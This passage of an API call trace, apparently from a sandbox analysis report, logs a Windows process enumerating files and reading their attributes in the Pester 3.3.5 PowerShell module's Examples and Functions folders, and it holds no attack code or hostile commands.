hFindFile=0x10f7990, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0231.228] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0231.228] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0231.229] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0231.229] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\Add-Numbers.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\examples\\calculator\\add-numbers.ps1")) returned 0x20 [0231.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0231.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0231.230] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\Add-Numbers.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\examples\\calculator\\add-numbers.tests.ps1")) returned 0x20 [0231.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0231.230] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\Add-Numbers.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\Add-Numbers.ps1", lpFilePart=0x9bada4*="Add-Numbers.ps1") returned 0x61 [0231.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0231.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0231.231] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\Add-Numbers.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\Add-Numbers.Tests.ps1", lpFilePart=0x9bada4*="Add-Numbers.Tests.ps1") returned 0x67 [0231.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0231.231] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0231.231] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.231] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0231.231] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0231.232] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0231.232] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\Validator.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\examples\\validator\\validator.tests.ps1")) returned 0x20 [0231.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0231.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0231.233] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\Validator.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\Validator.Tests.ps1", lpFilePart=0x9bada4*="Validator.Tests.ps1") returned 0x64 [0231.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0231.233] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0231.235] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.235] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0231.235] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0231.235] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0231.235] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0231.236] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0231.236] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0231.236] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0231.236] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0231.236] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0231.236] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1 [0231.236] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0231.237] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0231.237] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0231.237] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0231.237] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0231.237] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0231.237] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0231.237] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0231.238] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0231.238] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0231.238] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0231.238] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0231.238] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0231.238] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0231.238] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0231.238] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0231.239] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0231.239] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0231.239] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions")) returned 0x14 [0231.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0231.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0231.241] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Context.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\context.ps1")) returned 0x20 [0231.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0231.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0231.241] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Context.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\context.tests.ps1")) returned 0x20 [0231.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0231.242] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Coverage.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\coverage.ps1")) returned 0x20 [0231.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa28b8 | out: hHeap=0x2ad0000) returned 1 [0231.243] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Coverage.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\coverage.tests.ps1")) returned 0x20 [0231.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0231.243] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Describe.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\describe.ps1")) returned 0x20 [0231.243] HeapFree (in: hHeap=0x2ad0000, 